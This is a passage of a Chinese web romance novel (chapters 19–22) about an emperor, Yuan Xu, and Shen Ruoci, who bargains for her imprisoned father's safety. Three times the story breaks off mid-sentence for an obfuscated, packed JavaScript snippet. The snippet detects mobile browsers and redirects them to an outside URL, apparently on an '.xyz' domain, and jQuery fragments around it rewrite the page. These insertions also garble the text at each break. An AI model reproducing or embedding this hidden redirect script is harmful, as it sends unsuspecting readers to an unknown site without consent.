皇帝眼神柔和下来,拉开她纤细的手腕,单手覆上她的前额,“朕给你揉揉。” 人来人往的地方,皇帝拉着人就往怀里带。沈若辞再怎么打算要豁出去,也接受不了大庭广众之下跟他搂搂抱抱。 她心里很排斥,又不敢拒绝得太明显,便委婉道,“皇上,您快松开,这里人多,让人看到了不好。” 也不知今日刮了什么风,沈若辞一句话就让皇帝乖乖松了手。 她暗暗称奇,双脚着地之后,身子向后撤去,逃离元栩的胸膛。 一个侧头,国公府依然门庭若市,她忽然恍然大悟。 是了,皇帝属意袁妙莹,他多半是怕未来的皇后看见了不高兴,才如此爽快地放过她。 沈若辞心中开始期盼,但愿皇帝早日抱得美人归,也省得他闲得无聊,隔三差五来寻她的晦气。 她强作镇定,朝四面环顾一周,就见薛元柔一路小跑到跟前,气喘吁吁地说道,“沈姐姐好巧啊,又遇见你了,是子逸哥哥邀你来的?” 听她亲昵地唤着袁子逸的名字,沈若辞礼貌地笑了笑,并没有回应。 薛元柔看向一旁掩去容貌的男子,好奇地道,“这位公子为何要遮去容貌?” 元栩并没有看薛元柔,微微仰起头,“因为长得太好看了。” 这回答让人无法接话,沈若辞差点没当场翻个白眼,却不想薛元柔更加好奇,目光热烈,大有要将要将帷帽之后那张脸看穿的劲头。 片刻之后,又指着沈若辞问道,“难不成比沈姐姐还好看?” 元栩本来已经没了耐性,但一听她提起沈若辞,目光一转,落在她脸上,回答得不假思索,“自然,比她好看多了。” 薛元柔想不到一个人能自夸到这种地步,“公子能否摘下帷帽让我一睹芳容?” 19. 第 19 章 皂纱下是男人拒绝的声音,“不行。” 薛元柔歪着头,“那是为什么?” 元栩的视线停留在沈若辞身上,“因为只有她能看。” 沈若辞觉得好笑。 看他? 她一点儿也不稀罕。 既然对方拒绝了,薛元柔也不自讨没趣,又自顾自地说起来意,“沈姐姐,我来同妙莹贺喜,这回国公府又得了这么多赏赐,看来皇上真的是相中了妙莹,后位肯定非她莫属了。” 听到薛元柔提及到皇帝,沈若辞下意识歪头去看元栩,皂纱下清冷的面容若隐若现,看不清神色,她又将目光收回。 沈若辞没有搭话,一来她对谁做皇后并没有什么兴趣,二来正主就在身旁,她哪里敢妄加评论,不如选择沉默。 薛元柔见她答不上来,不由得心中一喜,“莫非子逸哥哥没有将此事告诉沈姐姐?” 这回轮到元栩侧头看过来了,他知道袁子逸是沈若辞的心上人,此时在别的女人口中听到这个名字,怕是心里要不痛快。 听到这里,沈若辞也算是明白薛元柔的来意,原是赶着来试探她的。 虽说她与袁子逸真的是断了联系,但是这种被人怀疑的感觉还是让她眉头几不可见地皱了一下。 这一下落在元栩眼里,又多了点别的意味。 “元柔,你在那里跟谁说话呢?” 沈若辞没有抬头,听声音就知道是袁妙莹,此时她正一脸得意,故作惊讶地走到沈若辞跟前,“我当是谁呢,原来是你。” 见沈若辞没有反应,她心里就来气,“我哥已经不要你了,何必痴心妄想,舔着脸往上凑呢!” 沈若辞淡淡地回道,“袁妙莹,你怕是脑子有问题吧,不想跟你家结亲的人是我,劝你哥分开的也是我,这才几天,你就忘记了吗?就你这记性,还想当皇后,做梦吧!” 自上回七夕宴上她一舞动君心后,见到每一个人,说的每一句话都是奉承她的,哪里听到这么直白恶毒诅咒她当不了皇后的,袁妙莹当即气得满脸通红,要不是周围有人看着,她当场就想扑上去抓烂沈若辞的脸。 而沈若辞噼里啪啦一顿输出后,见袁妙莹大怒,目的就达到了,她转身就拉起元栩的手,“我们走!”说完也不回地离开人群。 元栩刚被拉住手的时候,迟疑了一瞬,但紧接着就回握住沈若辞的手,紧紧地攥着她的手,等到沈若辞冷静下来,想要抽回手的时候,已经没有办法了。 二人就像是寻常恋人一般,手牵手一起散步。沈若辞烦透了袁家的事,始终绷着脸没有说话。走到一处无人的地方,元栩忽然停下步子,面对着她掀开脸上的皂纱,“方才朕弹沿沿脑门下手重了,现在自罚一次。” 沈若辞抬头看了一眼,见他拉开皂纱后饱满的额头上红了一块,与他俊美的脸庞极其不搭,眼神里隐隐有讨好的意思。 沈若辞怀疑自己眼花了,拼命地眨了眨眼。 “让你弹回来。”他突然将脑袋凑过来,一双漆黑如墨的眸子就在眼前,离她近在咫尺,连带呼吸都清浅地喷洒在她脸上。 “不用了……”沈若辞不习惯他突然的亲近,身子无意识地向后撤去。 虽然手上有点痒,被欺负了很想讨回来,但是皇帝要是给她安个伤害龙体的罪名,那可就不得了了。 沈若辞忍下了蠢蠢欲动的念头,心中默念着不要,不行,不可以…… 元栩见她攥着小拳头,拼命忍下的模样,得意一笑,“原来沿沿心疼朕。” 沈若辞瞪大了眼睛,皇帝好生不要脸,这哪里能看出她心疼了? 她才不心疼呢,她恨不得在他脑门弹上十次八次,好让他头脑清醒一点,别再是非不分! * 盛京富庶繁华,每年七月底八月初,已开始有了中秋节的气氛。 江岸两边挂满了各式各样的花灯,游人画舫一夜之间如雨后初笋般涌现。 皇帝起了游江的兴致,岳常安怕手下办事不力,亲自前去租画舫。 皇帝在江边的花树下稍作休息。 沈若辞忽然瞧见街边小摊上卖的莲花灯,眼珠子一转,向元栩打了声招呼,就朝着那摊位走过去。 花树下只留下元栩一人。 起风了,花瓣纷纷扬扬,隔着落花,少女的身影不甚清晰,若隐若现。 元栩捏下一片淡粉,揉在指尖,缓缓地收回视线,平静地问道,“何事?” 严从晖手上不知何时多了一个大包裹,用油纸包得严严实实,上前回道,“皇上,成先生已将药备齐,派人送了过来。” 元栩凝了凝那包裹,没有接话,目光一时之间深沉了几分。 昨天夜里,他又梦魇了。 梦里目光所及之处,皆是一片鲜红,惨淡的红。 他陷入回忆的梦里。 初秋的江边,晚风竟透着微微刺骨的寒。他举起手中的酒瓶一饮而尽。 一旁与他并肩而坐,缓缓叹气的人竟是向来与他不对付的沈相。 此时二人皆有不顺心的事。 沈相就着秋风喝了一口酒,此时已喝得微醺,仍不忘挖苦他,“臣是因为女儿出嫁,心中不舍才来喝闷酒的。皇上放着宫里舒适的环境不过,跑出宫来吹夜风,难不成您也有女儿,也要出嫁?” 元栩狠狠地瞪了他一眼,“朕是来陪孤寡老人的。” 沈相笑出声来,良久才回应道,“是啊,臣以后就是孤身一人了,再也……”他突然不笑了,扶着头沉默不语。 二人像事先约好一样默契,谁也不说话,就只是喝酒。 酒过三巡,沈墨靠着树干,已然睡了过去。元栩却是清醒的,他也想这样醉死过去,就不用去想那些烦心事情了,可江风似乎要与他作对,一点一点地吹散他的酒气,他仍保持着该死的清醒。 不远处有人提着灯笼,一路小跑着过来,“沈相、沈相……” 元栩听着吵,不做理会,继续喝他的酒。哪知那人更加不识趣了,提着灯笼上来就直接照他的脸,元栩刚想动怒,那人腾的一下跪了下去,跪在沈墨脚下,“老爷快醒醒,我们家小姐出事了……” 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404480|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩大惊,从梦中惊醒,起来后才发现自己一头冷汗。 “皇上!”少女娇俏的声音将他拉回现实。 沈若辞回来的时候,一路小跑过来,她身姿轻盈,跑起来生动活泼,手里多出两盏莲花灯,微笑着递出一盏给元栩,剩下一盏捧在怀里。 元栩垂下眼帘,花灯小巧玲珑,状似莲花,花瓣重重叠叠,一片挨着一片,一层叠着一层。 皇帝只看了一眼,抬眸去问沈若辞,“沿沿可知道这莲花灯有多少片花瓣?” 这问题把她问住了,若不是意有所图,她根本不会去买这盏莲花灯。 “三十六片花瓣。” 沈若辞一时怔愣,皇帝看起来不像随口胡诌的样子,更不像会去研究这种小玩意的人,莫非这其中有什么她不知道寓意? 定是如此,她好奇地问道,“皇上怎么知道,可是这三十六片有什么特别的含义?” 皇帝一身青衣如水,俊颜如玉,长腿迈开,沈若辞已看不见清他的神色,就听他淡淡回道,“朕曾经等一个人,久等不到,便开始数花瓣。” 一遍一遍,来来回回,数了一次又一次,所以他记得很清楚。 沈若辞不解,但感觉不是令人开心的事情,就没有继续询问下去。 岳常安办事向来稳妥,不出一刻钟就将画舫安排妥当。 沈若辞跟皇帝一起在船上用了晚饭,静静地等待着天色暗沉下来。 夜幕降临,江上船只来往,灯光柔和,将江水染成淡淡的橘色。 沈若辞点亮一盏莲花灯,侧身蹲在船舷上,她将一侧的衣袖挽起,捧起船板上的莲花灯。 元栩目光落在那截莹白如玉的手腕上,凝了一会,就见那女子回过头来,举着手中的灯朝他笑了笑,眼中映着柔光,“皇上,臣女可以许愿吗?” 江风微凉,元栩呼吸一窒,她的眼睛亮莹莹的,美极了。他无意识地“嗯”了一声,弯弯的笑眸从眼前一闪而过。 “希望大魏国泰民安,年年风调雨顺。” 她停顿了一下,“希望爹爹否极泰来,早日与沿沿团聚。” 她缓缓地将手中的莲花灯放入水中,轻轻一推便顺着水流飘飘荡荡。 沈若辞心中有些忐忑。她放下衣袖,乖巧地回过头去,问道,“皇上说沿沿的愿望能不能实现?” 元栩收回视线,淡淡地看了一眼表情雀跃的沈若辞,声音稍显冷淡,“愿望说出来就不灵了。” 沈若辞“……” 够狠,灵不灵还不是他做皇帝的说了算! 一阵气闷拂上心头,沈若辞暗暗地抿了抿唇,心道果然,她爹说得没错,这皇帝就是狼崽子,冷心冷血冷肺! 她望着皇帝清冷的脸庞,明明好看得紧,为何不好好做个人? 晚风阵阵,船檐下的灯笼被吹得咣当作响,灯影摇曳。 元栩俊颜无波,几步走到船舷,拉过沈若辞的手,“沿沿有未完的心愿,不妨直接跟朕说,比对着花灯许愿管用。” 沈若辞被皇帝拉进了船舱,她说过了呀,可是不管用啊。 20. 第 20 章 沈若辞被皇帝拉进了船舱,她说过了呀,可是不管用啊。 船内有一张舒适整洁的软榻,榻上摆着案几。沈若辞温顺地倒了一杯茶给皇帝。见他闲适自在地饮着茶水,沈若辞大着胆子,柔声说道,“皇上,近来天凉了,牢房里潮湿,臣……沿沿怕父亲的腿脚受不住。” 沈相的腿曾在一场恶战中受过重伤,这是他为朝廷卖命的忠心,皇帝肯定也知情,当时还赏赐了沈家很多东西。 元栩将空杯放回案几,十分宽厚地回道,“沿沿放心,朕让人给沈相加多两床被子。” 沈若辞拿着茶壶,手指捏得发白,皇帝油盐不进,是当真听不懂她话中的意思,还是故意而为之,她觉得后者可能性明显大一点。 她放下茶壶,小声央求道,“那皇上可不可以不要对父亲用酷刑?” 沈若辞觉得气氛安静得出奇,元栩投来意味不明的目光,她的心骤然提了起来。 也许是他的目光太过于直白炙热,柳太妃的话盘旋在她的脑中,男人可以无情无爱,但不妨碍他想拥有一个女人。 在皇帝灼灼的目光中,沈若辞鬼使神差地朝他身边靠了过去。一想到此人掌控着她父亲的安危,沈若辞心一横,干脆一不做二不休地闭上眼睛,直接坐到了皇帝腿上。 迎面而来是男子清冽的气息,还有淡淡的草药香气。 元栩“……” 他呼吸一窒,就见两只纤细的手臂颤颤巍巍地抚上自己的肩膀,眼皮合得严严实实的,分明一副如临大敌的模样,身子却硬要往前凑。 元栩屏住呼吸,压下起伏的胸膛,似在等待她的下一步动作。 皇帝不给出任何反应,沈若辞脑中突然断了线,她头脑一片空白,不知道要如何继续下去的时候,就听他清雅的声音带着不耐,“这么闭着眼睛坐着,难不成是想在朕腿上睡觉?” 她如何有这个胆! 沈若辞慌慌忙忙睁开眼睛,对上元栩眼眸,深邃莫测,她心头一颤,小心翼翼地喊了一声,“皇上……” 元栩不为所动,神色淡然地“嗯”了一声,没有拒绝,也不回应,俨然一副置身事外的看客心态。 书到用时方恨少,沈若辞家庭关系简单,察言观色的机会极少遇到,她猜不出皇帝的心思,一时间如坐针毡。 事情到了这个份上,沈若辞也没有退缩的必要了,倒不如再大胆地往前一试。她倾身过去,学着皇帝上次亲她的样子,吻住他的唇瓣。 只一下,旋即又将身子撤了回去,双手仍一动不动地搭在他的肩头。 元栩心头没由来一跳,接下来便是剧烈起伏,双臂也不受控制地圈上她的细腰。 那双深邃的眸子似有流星划过,无边的黑暗闪着点点星光。沈若辞恍惚觉得看到了苗头,这让她备受鼓舞,又乘胜追击地吻了上去…… 这明显不够! 元栩心头无端痒痒的,大手握紧了纤细的腰肢,再也没忍住将人压倒在怀里,吻了下去。 他身上仿佛有无穷无尽的火苗,一瞬间被点燃,沈若辞能感受到这种陌生热切。她脸颊被烫得发慌,连带耳根,也被蔓延,染成诱人的粉…… 111111 天地之间一片寂静,只剩下船外边潮水声阵阵。 交缠的呼吸终于分开,沈若辞脸颊泛着红,心跳得厉害,却找回了几分安心。 元栩的唇角已经压不下去,眼角眉梢,都带着淡淡的欢愉。 沈若辞满腹心思都放在观察他的神色的上边,根本不知道自己看人的眼神有多炙热直白。 元栩喜欢她这样,满眼都是他。大掌轻抚上她的脊背,把人揉进怀里。 沈若辞觉得他是乐意的,她也壮着胆子,双手环上他窄劲的腰身,硬邦邦的,每一处都像在叫嚣。 “天牢酷刑,爹爹身子怕是熬不住,还请皇上帮帮沿沿。”她伏在元栩身上,声音软糯,娇气得很。 这几次接触下来,沈若辞琢磨出一些门道,皇帝喜欢温顺的,要人服从于他,她自然要投其所好。 “沿沿今晚想留下来伺候,望皇上成全……” 她一颗心跳得厉害,此时靠在皇帝胸口,隐约有种错觉,他的心跳甚至比自己还要离谱。 沈若辞晕乎乎地,按照皇帝适才的反应,她觉得应该不会拒绝,至少也不会不高兴。 正想着,整个人突然被他从怀里推开。 细软的双臂被按住,沈若辞茫然地抬头,从他脸上看到了变化,前一刻的欢愉不再,元栩整张脸透着冰渣子。 “沈若辞,你听说过吗。” 什么? 沈若辞晕乎乎的,还没从方才的暧昧缓过神来,漂亮的眸子里有浅浅的雾气,她迷茫地摇了摇头,眉眼间透着似有如无的春色。 猎物终于到了收网入手的时候,元栩心中没有半分欣喜,反而是莫名的烦躁,她只是把引诱她当做一场交易,而他不过是交易中至关重要的那个人,换谁……可能都可以! 元栩一只手暗暗使力,抓紧了身下的被褥,淡淡地看了她一眼,冷笑道,“无媒无聘是苟合。” 沈若辞整个人都懵了。还来不及想通哪里出了乱子,就被他冰冷地推在坐榻上。 她跌坐在被褥上,睁着一双水灵灵的大眼,无辜地看他烦躁地从手中挥落一把棉絮,棉絮飘飘荡荡地落地,也不知是从何而来。 她垂着头,视线落在坐榻上崭新的被褥,不知何时被抠破了,裂开的口子格外的刺眼,像极了不知廉耻的她。 可能是厌恶吧,元栩推开她后径直走了出去。她一个人失落落的,下意识地伸手去抠被褥上那道口子。 难不成方才所有的不拒绝就是为了此刻能羞辱她? 她真傻啊,皇帝是狼,阴险狡诈。设了个圈套,她鬼迷心窍,一步一步往里套,被抓了个现行。 入夜寒凉,元栩在船头迎风而立,这难道不是你想要的结果吗?他一遍一遍地问自己,直至心头的烦躁渐渐散去,才去而复返。 进来的时候刚好看到她凝着那处裂口,一时间脸色更深沉。 沈若辞心中一惊,忙收住了手。 她理了理裙摆,从坐榻上溜了下来。 元栩手臂上搭着他玄色的披风,沈若辞愣了一下,明白过来他这是要走的意思。自己那点小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404481|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思也彻底凉了,没有了希望,沈若辞眼眶一酸,忍住了泪水。 “过来。” 皇帝声音明显有些勉强,沈若辞硬着头皮向前走了几步。她眼眶泛红,按捺住心中的委屈哽咽道,“臣女冒犯了皇上,求您恕罪。” 她自己那点礼义廉耻是小事,主要还是怕父亲因她的言行受牵连。 魅惑君王这罪名可大可小。 元栩在外边吹了凉风,才勉强压下内心的燥热。他将披风拿在手上,见她一脸的懊恼沮丧,暗暗地叹了一口气,“行了,朕跟你保证,可以不对沈相动用刑罚。”说着向前两步,沈若辞视线忽暗,长臂已伸过她的头顶,将那玄色的披风裹在她的身上。 是淡淡的草药香气,沈若辞不安地抬头,“皇上说真的?” 元栩没有吱声,慢条斯理地给她的系带打了个结,又帮她把帽子扣上,等穿戴整齐后,才顺着刚才的话说下去,“沿沿也要跟朕保证,不准再跟袁子逸见面。” 披风过于宽大,掩住了窈窕的身姿,垂散在脚边。沈若辞恍惚有些难以置信,这条件也未免太过简单,她生怕皇帝反悔,赶忙应道,“沿沿听皇上的。” 画舫靠岸,沈若辞坐上皇帝的马车,半路无言。她原本以为会这么一路安安静静地回到相府,却不想一直闭目养神的皇帝忽然睁开了眼睛,眸色深不见底。 “这半个月没事不准乱跑,乖乖呆在相府,你父亲一事也不必担忧,他吃好喝好,没人敢给他动刑。” 皇帝面容透着森冷,语气不善,但这些话于沈若辞听来,却是天大的好消息。 皇帝拒绝了她的“伺候”,却还是愿意放父亲出来,沈若辞定定地望向他,澄澈的眼神里带着警惕。 不出所料,下一句就彻底让她凉了心。 “半个月后,朕接你入宫……” 沈若辞背脊一阵冰寒,她没想到皇帝还会重提这事。说到底,他还是无法轻易相信父亲,要她入宫做棋子才安心。 她明白,但心里真的也不好受。父亲好不容易要出来了,她却要离开。 只不过往好的想,这对她已是恩赐。沈若辞抿了下唇,轻轻回道,“只要爹爹能平安出狱,臣女愿意。” 元栩“嗯”了一声,见她双手乖巧地置于膝盖上,映着玄色的披风,似白玉无瑕。 方才那双手软软的,就那么软绵绵地环着自己,可怜兮兮地趴在他的身子…… 元栩喉头动了动,心烦意乱地别开目光。 * 沈相腿脚有旧伤,每逢阴雨天气,容易酸痛肿胀。早些年沈若辞从罗医娘那里求了张方子,每年都要泡上几坛子药酒,有内服的,也有外用浸泡的。 她过阵子就要离开相府,趁有时间多为父亲准备上一些备着。 一想到入宫,沈若辞整个人都恹恹的,身子也更差了。 她从前不是这样的,身体虽算不上硬实,但也无灾无病,整日跑跑跳跳,没有半点问题。 无奈这两年来堆金叠玉地养着,名贵补品从不间断,身子却丝毫不见气色。沈若辞心中烦闷,这身子不争气,弱不禁风的,走几步路都要喘多几下。 21. 第 21 章 从前她隔三差五跑去医馆学习,也算学有所成。罗医娘不在的时候,她还能担起一二,跟其他师姐师妹一起坐堂问诊,看一些寻常小病。 而今因病去不了,以后她要入宫,怕是更没有了机会。 翌日清晨,天晴无风,沈若辞出发去了一趟医馆。 马车停在巷口,医馆在小巷子中段,她步行过去。 未曾走到正门,她已迫不及待地喊了一声,“阿成哥……” 大门口洒扫的小伙远远望见她,撑着笤帚,喜出望外地朝里边喊了一声,“沈姑娘来啦。” 说着又回头朝她笑了笑,“沈姑娘,你这可是两年没来了,大伙儿都以为你嫁人去了呢。” “可不是嘛!”大伙儿热热闹闹地把她迎了进去。 她脸上蒙着面纱,掩去了容貌。两年没来了,这里的一草一木都变了样,但大家的热情却始终没有变过,一眼就将她认了出来。 医馆里的人,多多少少都懂些医术,她病了两年,病容憔悴,恐怕一眼就能看出端倪。 沈若辞是个报喜不报忧的性子,不喜欢别人为她的私事担忧,干脆像昔日对外坐堂问诊一样,蒙上了面纱。 医馆里每日迎来送往,看病的人络绎不绝,人多口杂,众人都养成好习惯,坐诊的时候蒙上面纱,以防被病人传染。 这些医女只知道沈若辞的富贵人家的小姐,具体家里做什么却从不打听。 众人说起罗医娘的事,忍不住抱怨起来,“咱师父是个狠心的,出去两年都不回来。等师父回来了,我还想去去求求她,让她将压箱底的易容术教一教我,以后便横行无阻了……” 这本是一句玩笑话,却无意间勾起了沈若辞的记忆,她隐约记得,罗医娘曾教过她易容术。 最后学没学成,她给忘了。 说起没回来的人,大师姐又想起来另一个人,“你说师父狠心不回来就算了,阿赫作为咱师父的关门男弟子,两年来别说见上一面,消息都没有半点。” 沈若辞有些吃惊,“阿赫也没有回来过吗?”阿赫当年对医术表现出巨大的兴趣和天赋,当时她觉得不出意外,这人就要以行医作为自己终身的事业了,哪成想他当初临时有事离开后,就再也没有回来了。 “是啊,你人虽没回来,但是隔三差五地差人给医馆送东西,阿赫跟你不一样,他是人都石沉大海了。” “你别说,这阿赫据说是富贵人家的公子,可能忙着继承家业呢,根本不记得我们了。” 几个好姐妹说说笑笑,陆续有病人进来,众人也不好耽误病人看病,才依依不舍地放沈若辞离开。 从医馆出来的时候,她人是很开心的,但是脑袋隐隐作痛。 她忘却了一些事,偶尔听别人提起或者自己脑中捕捉到一些碎影,努力回想的话,就很容易犯头痛。 阿茉在马车上等着她,见她回来,也没发现异样。二人坐着马车准备回相府,车厢里有些闷,沈若辞让阿茉撩开车帘透透气。 阿茉扒着车窗看外边的风景,突然眼前一亮,叫停了马车。 她回过头来,有些惊喜,“小姐,是南山里种茶花的老伯。” 沈若辞抬起头,顺着车帘的间隙望出去,果然是他。 两个月前老伯曾说过培育了新的茶花品种,下回赶集带过来。 倒是赶巧,让她给遇到了。可能老天都知道她不能留在父亲身边尽孝,给她最后一点弥补的机会。 阿茉扶着沈若辞下了马车,二人朝街角的摊位走了过去。 卖花的老伯一看老顾客来了,笑眯眯地打了声招呼,亮出他精心培养的茶花苗。 街角摊位密集,叫卖声此起彼伏,热闹非凡。阿茉吩咐车夫将花苗搬上马车,不远处有少年策马疾驰而来,马蹄声淹没在闹市中。 等少年的马来到跟前,人群才后知后觉地往一旁撤开。 沈若辞原本不会被冲撞到,但着急躲闪的行人过于慌张,直接撞到她的身上。 旁边就是炸油糕的摊子,热油滚烫,阿茉回过神来的时候,就发现她们小姐被推向了热油锅。 一颗心霎时间提到了嗓子眼,连话都喊不出来。 沈若辞察觉不对劲的时候,身子已经不受控制地倾倒下去……电光火石之间,背心被一股力道紧紧攥住,身子止住了下坠,下一秒整个人被提了起来。 小摊子的油锅还在冒着气泡,沈若辞惊魂未定,目光还死死地盯着翻滚起伏的热油,摊主早已被吓得面色铁青。 始作俑者的少年已挥鞭远去,身后的人在她耳边嗤笑一声,“沈姑娘胆子及不上沈相半分。” 沈若辞一下子听出连骁的声音,她面色苍白,嘴唇还在颤抖,无力地唤了一声“连将军”,身子就软绵绵地瘫了下去。 连骁皱了皱眉头,粗鲁地推了一下怀中的女子。见她不省人事,模样可怜兮兮的,心头生出几分同情。当下拉了缰绳,一夹马腹,将人带离了闹市。 阿茉见状,赶紧叫上车夫跟了上去。 将军府里,连骁抱着昏迷的女子,前脚刚进了客房,就命人去请大夫过来。 阿茉紧跟着连骁的马,晚一步到了将军府。 沈若辞纤细的身子陷在锦被中,眉眼昳丽,樱唇紧紧地抿着。 连骁双臂交叉抱在胸前,居高临下地看着那小丫鬟快速拿出随身携带的药丸,喂她吃下一颗,又喂了几口温水,那女子总算慢慢地醒转过来。 他无意识地松了一口气,眉心的郁结渐渐散去,“沈相的女儿,一点小事都能吓晕过去?” 沈若辞受了他的恩惠,对他的讥诮也不生气,反而感激一笑,落落大方道,“多谢连将军相救。” 那小脸艳若桃花,模样明晃晃的,勾人得很。连骁意味不明地笑了一声,沈相也将女儿藏得够深。这样的绝色,盛京怕没人能比得上! 以前沈相大权在握,也不怕人觊觎,眼下她没了保护,若直接把这朵弱不禁风的娇花养在后宅,倒也是件美事。 他对女人向来直来直去,心中有了想法,便直接问道,“连某尚未娶妻,有意与沈家结秦晋之好,沈姑娘看如何?” 朝中各党派的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404482|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势力错综复杂,每一件看似简单的事情,背后可能有不为人知的用意。连骁欲与她结亲,其中藏了什么意图,她也不想去猜。 但这般直白的“追求”,沈若辞还是头一回遇到,她心里觉得好笑,面上不显,推脱道,“蒙将军错爱,若辞暂无嫁人的意愿。” 这拒绝倒是挺委婉。 连骁十几岁就尝过女人的滋味,已不是毛毛躁躁的急色少年。而今又身居高位,就算存了点心思,也不会做出强迫于人的手段。 他只是皱了皱眉头,当对方是出于害羞或是不好意思直接答应的推辞之词,便也顺势给了台阶,“沈姑娘其实不必这么快给答复。” 沈若辞浅浅一笑,也不作回应。 这笑容美得炫目,连骁没理由这么容易就放弃。皇帝那边他走动了几次,听口气是认同他的提议。他大可以先进宫求元栩赐婚,等过阵子沈相出狱后,他再名正言顺地前去相府求娶。 兔子一样乖顺的女子,他保护起来丝毫不费力气,这样想来,适才被拒绝那点气闷消失无踪,心情也很是畅快。 沈若辞也不便久留,再三谢过连骁,便带着阿茉离开了将军府。 连骁看着是个不好说话的,但令沈若辞吃惊的是,对方竟然也是个细心的人,担心她路上再次遇到危险,竟不顾沈若辞反对,坚持将人送回了相府。 沈若辞跟阿茉坐在马车里,连骁骑着马在外边护送,马车经过国公府大门,往前边的巷子进去,最后停在相府门口。 沈若辞掀开车帘,一眼就看到站在门口的袁子逸,她的脸色瞬间变了变,迟疑着没有马上下车。袁子逸见状三步并作两步,直接来到车前,准备伸出手扶她下来。却不想被连骁抢了个先,沈若辞也顺势扶着连骁的手臂下了车。 在沈若辞面前扑了空,袁子逸瞬间红了眼。 方才他从府中出来透透气,不知不觉竟又走到相府门口,国公府的仆从看情况不对,立马回府里禀报了袁国公。 国公爷早就对儿子的懦弱固执失望透顶,当即表示不再去干预他的事,袁妙莹却担心兄长跟沈若辞这种罪臣之女藕断丝连,会影响到她日后入宫当皇后,便主动前去相府拉人。 哪知一来,就看见沈若辞扶着连骁的手下车,当场就开口嘲讽,“大哥你看,水性杨花的女人!”转头又看向袁子逸,得意洋洋地说道,“我跟你说了人家有别的男人,你还不相信,现在睁大你的眼睛好好看看,看清楚了免得说我骗你,执迷不悟!” 袁妙莹没有指名道姓,沈若辞也当做没听到,她身子本来就不舒服,谢过连骁之后就扶着阿茉的手进了府里。 连骁虽不知事情原委,但还是冷冷地瞥了袁妙莹一眼,这一眼,看得袁妙莹脊背发凉,顿时没了方才猖狂的劲儿。她见连骁气度非凡,也不敢造次,只好憋着气回国公府去,袁子逸她也不想管了。 连骁策马离开,偌大的巷子里只留下袁子逸一人,他叹了口气,转身准备离开。 “袁公子且慢,在下有几句话要跟你说。”宋临抱着剑倚在墙头,看来等他有些时候了。 22. 第 22 章 袁子逸有些吃惊,不知他何时站在这里的,还是朝他拱了拱手,“请说。” 宋临站直了身子,正色道,“袁公子坚持来相府等她,究竟是为了什么?” 为了什么?他的用心,旁人还看不到吗? 袁子逸苦笑了两声,“我能为什么?我不过是怕她做傻事,怕她受委屈,我本意并不想与她分开。” 宋临冷笑,脸上却没有任何表情,“袁公子,你需要明白一点,不想与我们相府议亲的是你们袁家人,拿话点我们的是你家人,背信弃义的,也是你们国公府,你在这里等她,装出一副受害者的模样,是想把这些罪名都安在她身上,安在相府头上?” 袁子逸从来没见过宋临一次性讲这么多话,关键是这些话,字字句句直戳他的内心,他自己也不敢细想,更不敢承认,只能继续辩解,“我想你误会了,是我对不起她。我没有怪她,我只是想要挽回她。” 挽回她,那这话听着就更可笑了。既然他不愿承认,宋临也只能拆穿他的伪装,“袁公子,我想你搞错重点了。想必你比我更清楚,国公爷不会让她进门。就算她答应你了,就算她不顾一切要跟你在一起,你父母那一关,你们也过不了,难不成要她无名无分跟着你?” 第一次有人直白摊开他不敢面对的事,破开他的心,将他心底里最隐秘的、最懦弱的地方无情地撕开,暴露在日光底下,让他的自尊与尊严无所遁形,无路可逃。 他内心想要逼沈若辞去坚持她们的婚事,去反抗他的父母,这些都是他不敢做但又不愿意承认的,所以需要有一个人去替他做这些事,这个人只能是沈若辞! 只是令他没有想到的是,沈若辞并没有如他所愿,为爱冲破一切,反而是直接放弃了选择他。 他从没有想过会有今天这个结果,从未! ** 元栩接到沈若辞在闹市上出事的消息已是黄昏。 皇帝从议政殿出来,岳常安就像热锅上的蚂蚁,已经在外边来来回回在走了不下百次。等参与议政的官员走远了,他才赶紧上前禀道,“皇上,宫外的暗卫传消息回来,沈姑娘今早在闹市上晕倒了。” 岳常安心中很是忐忑,果然话刚说完,皇帝俊朗的面容瞬间沉了下来,“为何现在才来禀告,人怎么样了?” “皇上放心,人已经没事了。沈姑娘吉人自有天相,据说晕倒的差点碰到了油锅,幸好连将军恰巧经过,救下了沈姑娘……” 竟是舅舅救了人。 元栩眉头蹙成一团,他最担忧的事还是发生了,虽然人没有大碍,但到底不能再存侥幸。 “常安,准备晚膳,接成先生入宫用膳。” “……是。”岳常安怀疑自己听错了。 他前些日子看皇帝对沈府的千金很是用心,怎么这次听说人晕倒了,竟是无动于衷地要请人吃饭,这行径让人摸不着头脑,他半信半疑地应了下来。 心里想的却是,难道真不管沈姑娘了? 话虽如此,他还是照皇帝的吩咐速速地张罗晚膳。 